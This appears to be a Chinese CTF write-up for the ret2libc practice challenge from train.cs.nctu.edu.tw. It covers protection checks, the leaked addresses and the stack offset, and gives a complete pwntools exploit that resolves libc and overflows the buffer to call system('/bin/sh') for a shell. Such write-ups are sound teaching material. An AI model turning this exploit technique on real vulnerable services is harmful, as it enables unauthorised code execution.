train.cs.nctu.edu.tw: ret2libc
来源
本题来自ctf wiki中ret2libc后的一道练习题
检查保护
- 只开启了 NX 保护
ida查看
- 跟前面的shellcode的课后练习类似,泄露了/bin/sh地址和puts函数的地址
gdb调试
- 断点下在main,结合ida中 v4 = esp+1ch 得到偏移 为 1ch
exp
from pwn import *
from LibcSearcher import *
p = process('./ret2libc')
elf = ELF('./ret2libc')
p.recvuntil('The address of \"/bin/sh\" is ')
bin_addr = int(p.recvuntil('\n',drop=True),16)
p.recvuntil('The address of function \"puts\" is 0x')
puts_addr = int(p.recvuntil('\n',drop=True),16)
libc = LibcSearcher('puts',puts_addr)
libc_base = puts_addr - libc.dump('puts')
sys_addr = libc_base + libc.dump('system')
payload = b'a'*(0x1c+4) + p32(sys_addr) + b'A'*4 + p32(bin_addr)
p.sendline(payload)
p.interactive()
运行示例
- libc选择0、2、3都可以跑得通(根据自己运行的系统来选)(实在不行就一个个试过去)
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· winform 绘制太阳,地球,月球 运作规律
· AI与.NET技术实操系列(五):向量存储与相似性搜索在 .NET 中的实现
· 超详细:普通电脑也行Windows部署deepseek R1训练数据并当服务器共享给他人
· 【硬核科普】Trae如何「偷看」你的代码?零基础破解AI编程运行原理
· 上周热点回顾(3.3-3.9)